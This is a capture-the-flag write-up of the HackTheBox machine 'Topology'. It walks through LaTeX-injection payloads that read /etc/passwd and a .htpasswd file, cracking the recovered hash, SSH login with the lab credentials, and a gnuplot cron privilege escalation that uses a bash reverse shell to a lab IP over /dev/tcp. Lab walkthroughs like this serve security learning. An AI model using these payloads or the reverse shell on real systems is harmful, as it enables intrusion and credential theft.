HackTheBox | Topology
Writeup of an easy-rated Linux machine from HackTheBox
Recon
Port Scanning
Initial Scan
Initial nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -T4 -oN nmap/nmap.initial 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 17:30 EDT
Nmap scan report for 10.10.11.217
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.86 seconds
Nmap found 2 open ports:
- Port
22
running an SSH serviceOpenSSH 8.2p1
on an Ubuntu server - Port
80
running an HTTP service runningApache httpd 2.4.41
All ports
1
2
3
4
$ nmap -p- -T4 10.10.11.217
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
- Same ports discovered during the initial scan
Service Enumeration
SSH - 22
I’ll temporarily suspend the enumeration of this service, just in case I don’t discover any valuable information that could help establish an initial foothold on the other service.
HTTP - 80
Front Page
- Navigating to
http://10.10.11.217/
, we see the home page of the ‘Topology Group’:
- The ‘Staff’ section contains the names of the people who are running the Topology Group.
- Professor Lilian Klein is the head of Topology Group
- Vajramani Dailsley is a software developer
Derek Abrahams is the sysadmin
- We also see the email address and phone number of Professor ‘
Lilian Klein
’- email:
lkelein@topology.htb
- Tel. : +1-202-555-0143
- email:
- With that in mind, let’s add the domain name
topology.htb
into the/etc/hosts
file as shown below:
1
$ echo '10.10.11.217 topology.htb' >> /etc/hosts
- In the ‘Software projects’ section, clicking on ‘LaTeX Equation Generator’ redirects to the website
http://latex.topology.htb/equation.php
website.
Virtual Hosts Fuzzing:
First of all, before starting the enumeration of latex.topology.htb
virtual host, let’s fuzz for other potential virtual hosts using ffuf
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ffuf -u http://topology.htb -H 'Host: FUZZ.topology.htb' -fs 6767 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://topology.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.topology.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 6767
________________________________________________
[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 803ms]
* FUZZ: stats
[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 4293ms]
* FUZZ: dev
- By filtering out responses with a size of 6767, I was able to identify 2 interesting virtual hosts, as can be seen in the output above.
In order to interact with these hosts, we need to add them into our /etc/hosts
file:
stats.topology.htb:
When accessing this virtual host, we see a plot, as shown in the screenshot below, showcasing the server load per minute.
dev.topology.htb:
This particular virtual host is secured by a basic authentication mechanism. We need valid credentials in order to access it.
latex.topology.htb:
Directory Listing enabled:
- Directory Listing is enabled at
http://latex.topology.htb
:
- The files in this directory doesn’t contain interesting information. With that said, let’s proceed to enumerate the
/equation.php
endpoint.
/equation.php:
Navigating to http://latex.topology.htb/equation.php
, we are presented with a LaTeX generator, which converts user-supplied mathematical equations into an image (.png
file).
For example, submitting x + y = 2
, and clicking on the ‘Generate’ button, will return .png
image, as show in the screenshots below:
Keeping that in mind, there could be security issues in this conversion feature if the provided LaTeX code is not properly sanitized !!
Exploitation
LFI via LaTex Injection
Reading first lines:
After some testing and a lot of googling, I successfully retrieved the first line of the /etc/passwd
file on the server using the one-liner payload from PayloadAllTheThings, shown below:
1
\newread\file\openin\file=/etc/passwd\read\file to\line\text{\line}\closein\file
Following this attempt, I duplicated the payload to read multiple lines. However, I was only successful in reading the first 4 lines of the file. Trying to read more than 4 lines triggers the message ‘Input too long. Sorry
’ as there is an input limitation in the backend to prevent long inputs.
- Reading the first 4 lines of the
/etc/passwd
file:1
\newread\file\openin\file=/etc/passwd\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\closein\file
- Reading the first 5 lines of the
/etc/passwd
file:1
\newread\file\openin\file=/etc/passwd\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\closein\file
Reading the entire file:
After numerous unsuccessful attempts to exploit this LFI vulnerability using commands that would typically allow me to read entire files, I noticed this line in PayloadAllTheThings.
It suggested that I could enclose the commands I previously used with either \[
or $
to potentially retrieve the entire file’s content.
- The command that eventually worked and allowed me to read the entire content of the
/etc/passwd
file is displayed below:
1
$\lstinputlisting{/etc/passwd}$
Reading the source code:
The next typical step, when it comes to the exploitation of LFI
vulnerabilities, is to retrieve the content of the source code of the page, which is in this case ‘equation.php’ file. This is to check for any comments within the code that might contain sensitive information and to gain a better understanding of the conversion functionality.
1
$\lstinputlisting{../equation.php}$
- The first lines of the script include the name of the developer of this LaTeX to PNG generator:
- The section below defines the filtering mechanism designed to mitigate LaTeX injection vulnerabilities.
- As shown in the screenshot above, many of the strings that can potentially exploit a LaTeX injection vulnerability are filtered and stored within the
$filterstrings
array:\begin
,\immediate
,\usepackage
,\input
,\write
,\loop
,\include
,\@
,\while
,\def
,\url
,\href
,\end
.
NOTE: Notice that the command
\lsinputlisting
does not figure in this array, which is why we were able to read files on the server.
Reading files in dev.topology.htb vhost:
After some testing, I attempted to read the /etc/passwd
file using path traversal and observed that the root /
could be accessed by going three directories back (../../../
) from where the equation.php
file is located. This implies that the equation.php
file is likely in the directory /var/www/latex/equation.php
since it’s accessible from the ‘latex’ virtual host.
Once I determined the absolute path, I tried to read files located within the ‘dev’ virtual host. But before doing that, I decided to use ffuf
to scan for potentially interesting files that we could access:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
ffuf -u http://dev.topology.htb/FUZZ -fs 463 -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://dev.topology.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 463
________________________________________________
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 132ms]
* FUZZ: .hta
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 136ms]
* FUZZ: .htaccess
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 151ms]
* FUZZ: .htpasswd
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 173ms]
* FUZZ: ~bin
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 169ms]
* FUZZ: ~lp
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 138ms]
* FUZZ: ~mail
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 139ms]
* FUZZ: ~nobody
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 114ms]
* FUZZ: ~sys
[Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 1697ms]
* FUZZ: javascript
[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 1140ms]
* FUZZ: server-status
:: Progress: [4615/4615] :: Job [1/1] :: 25 req/sec :: Duration: [0:03:05] :: Errors: 45 ::
- The
.htpasswd
file is of particular interest. This file is typically used to store usernames and their corresponding hashed passwords for authentication. If we can access this file, we might be able to crack the hashed password and gain access to the dev virtual host.
Using the payload below, we can retrive the content of this file from the dev virtual host directory /var/www/dev/
1
$\lstinputlisting{/var/www/dev/.htpasswd}$
I’ll save the password hash in a file named ‘hash.txt
’ and use the hash cracking tool, ‘john
’, to attempt to crack it, utilizing the ‘rockyou.txt
’ wordlist.
1
2
$ echo -n '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
- As shown above, the password hash has been successfully cracked and the credentials to access the dev vhost are:
- Username:
vdaisley
- Password:
calculus20
- Username:
Initial Access
Shell as vdaisley
Access to dev.topology.htb
After entering the credentials, I successfully accessed to the dev.topology.htb
virtual host, which represents the portfolio of the software developper Vajramani Dailsley
- The front page and its source code do not contain any particularly interesting information.
SSH Access as vdaisley
Using the same credentials for the ‘dev’ virtual host, I successfully gained SSH access to the box as vdaisley
:
1
2
$ ssh vdaisley@topology.htb
vdaisley@topology.htb's password: calculus20
Privilege Escalation
Shell as root
Enumeration
1- The user flag is located in the HOME directory of the compromised user vdaisley
:
1
2
vdaisley@topology:~$ ls -l user.txt
-rw-r----- 1 root vdaisley 33 Oct 14 13:36 user.txt
2- There are only 2 users on the box with console access:
1
2
3
vdaisley@topology:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
vdaisley:x:1007:1007:Vajramani Daisley,W2 1-123,,:/home/vdaisley:/bin/bash
3- The user vdaisley
may not run sudo
on the box:
1
2
3
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley:
Sorry, user vdaisley may not run sudo on topology.
4- There are no interesting binaries with SUID bit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vdaisley@topology:~$ find / -type f -perm -04000 2>/dev/null
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
5- Enumerating file capabilities:
1
2
3
4
5
vdaisley@topology:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
- Nothing interesting !!
6- The /opt/
directory contains a folder named gnuplot
, which is writable & not readable by the user vdaisley
:
1
2
3
4
5
6
7
8
vdaisley@topology:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx 2 root root 4096 Jun 14 07:45 gnuplot
vdaisley@topology:/opt$ ls gnuplot
ls: cannot open directory 'gnuplot': Permission denied
7- Configured Cron Jobs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
vdaisley@topology:~$ crontab -l
no crontab for vdaisley
vdaisley@topology:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
- No Cron job is configured !!
Inspecting running processes with pspy:
To enumerate running processes, let’s transfer the pspy64 binary into the target machine. To do so, let’s follow the steps below:
1. Download pspy64 from the latest release on your local machine:
1
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
2. Start a simple HTTP server using python, which will be serving the pspy64 binary:
1
python3 -m http.server 80
3. Download the pspy64 binary in the /tmp/ directory of target machine:
1
2
vdaisley@topology:~$ cd /tmp/
vdaisley@topology:/tmp/$ wget http://tun0-IP/pspy64
4. Make the binary pspy64 executable and run it:
1
2
vdaisley@topology:/tmp/$ chmod +x pspy64
vdaisley@topology:/tmp/$ ./pspy64
- As can be seen, the script
getdata.sh
, located inside the/opt/gnuplot
directory, is executed every minute with root privileges.
Analyzing getdata.sh actions from pspy64:
From the output captured by pspy64, we can observe that when the getdata.sh
script is executed, it runs several commands like cut
, tr
and grep
with root privileges. However the interesting command is the find
command, which is shown below
1
find /opt/gnuplot -name *.plt -exec gnuplot {}
- This command searches for plot files with a
.plt
extension in the directory/opt/gnuplot
. It then executes thegnuplot
binary with root privileges on all the retrieved plot files from the/opt/gnuplot
directory.
Considering that we already have write privileges for this directory, we can create a malicious plot file with a .plt
extension within it, that would provide us with a reverse shell running as root when executed using gnuplot
.
/opt/gnuplot:
- As mentioned in the section above, the user
vdaisley
cannot read/view the content of the/opt/gnuplot
directory. However, he has privileges to write inside the directory:
1
2
vdaisley@topology:/tmp$ find /opt -type d -writable 2>/dev/null
/opt/gnuplot
With that in mind, let’s proceed with the privilege escalation process by following the steps below:
1. Create a plot file inside /opt/gnuplot
that contains a bash reverse shell script:
!/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/9999 0>&1'
Note the exclamation mark at the beginning of the script
NOTE : Don’t forget to modify the IP address with your tun0 IP
2. Start a netcat listener on port 9999:
1
$ nc -nlvp 9999
3. After a minute or so, you should get a reverse shell back running as root:
Attack Chain
- Nmap discovered 2 open ports:
- Port 22 running OpenSSH 8.2p1
- Port 80 running Apache 2.4.41
- The HTTP service is running 3 virtual hosts:
- The virtual host
latex.topology.htb
is running a LaTeX Equation Generator, which is vulnerable to LFI vulnerability via LaTeX injection, allowing an attacker to read sensitive files on the server. - The virtual host
dev.topology.htb
cannot be accessed unless you provide valid credentials. These credentials can be retrieved by exploiting the LFI vulnerability inlatex.topology.htb
to read the content of.htpasswd
file, which contains the username and the password hash. - The virtual host
stats.topology.htb
displays the server load in a plot graph.
- The virtual host
- After cracking the password hash inside
/var/www/dev/.htpasswd
, I was able to gain access to the server via SSH using the same credentials that were used to access thedev.topology.htb
virtual host. - Once in, there is a script that runs every minute with root privileges, executing every plot file with a
.plt
extension within the/opt/gnuplot
directory. To escalate privileges and obtain a root shell on the box, all it takes is writing a malicious plot file that provides a reverse shell when executed.
LaTeX Injection Resources
https://salmonsec.com/cheatsheets/exploitation/latex_injection
https://tex.stackexchange.com/questions/262625/security-latex-injection-hack
http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
https://infosecwriteups.com/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#write-file